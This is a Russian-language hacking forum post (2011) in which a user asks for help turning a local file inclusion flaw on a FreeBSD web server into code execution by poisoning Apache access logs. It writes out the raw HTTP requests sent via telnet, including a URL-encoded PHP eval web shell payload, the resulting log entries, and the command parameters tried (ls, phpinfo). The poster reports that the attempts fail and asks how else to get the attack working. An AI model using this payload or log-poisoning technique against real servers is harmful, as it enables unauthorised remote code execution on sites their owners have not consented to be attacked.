Показать сообщение отдельно

  #9  
Старый 24.01.2011, 01:22
Chest3r
Новичок
Регистрация: 14.11.2009
Сообщений: 2
Провел на форуме:
7499

Репутация: 0
По умолчанию

Помогите пожалуйста раскрутить LFI!

Вариант с /proc/self/environ не прокатывает, ибо FreeBSD. Отыскал место хранения логов error_log и access_log. Прочитал все что нашел по LFI, в том числе статью уважаемого Expl0ited'a, но никак пока не получается. Отправляю запрос подключившись через телнет вида:

POST http://site.com/epicfaaaaaail.php HTTP/1.1

Смотрю в access_log:

[23/Jan/2011:12:33:40 -0800] "POST http://site.com/epicfaaaaaail.php

Parse error: syntax error, unexpected $end in /usr/local/apache/logs/site.com-access_log(139780) : eval()'d code on line 1

HTTP/1.1" 404 219


Отправляю по другому:

GET / HTTP/1.1

А там:

[23/Jan/2011:12:25:19 -0800] POST / HTTP/1.1" 200 5346

Третий сделал как в статье:

GET http://site.com/epicfaaaaaail.php?%3C%3Fphp+eval%28%24_GET%5Bcmd%5 D%29%3F%3E HTTP/1.1

В логе:

[23/Jan/2011:12:25:19 -0800] "GET http://site.com/epicfaaaaaail.php?%3C%3Fphp+eval%28%24_GET%5Bcmd%5 D%29%3F%3E HTTP/1.1 " 404 215

И еще стопиццотыщ вариантов...

В итоге не access_log&cmd=ls, не access_log&cmd=phpinfo(); не работают...

Что можно еще применить?
 
Ответить с цитированием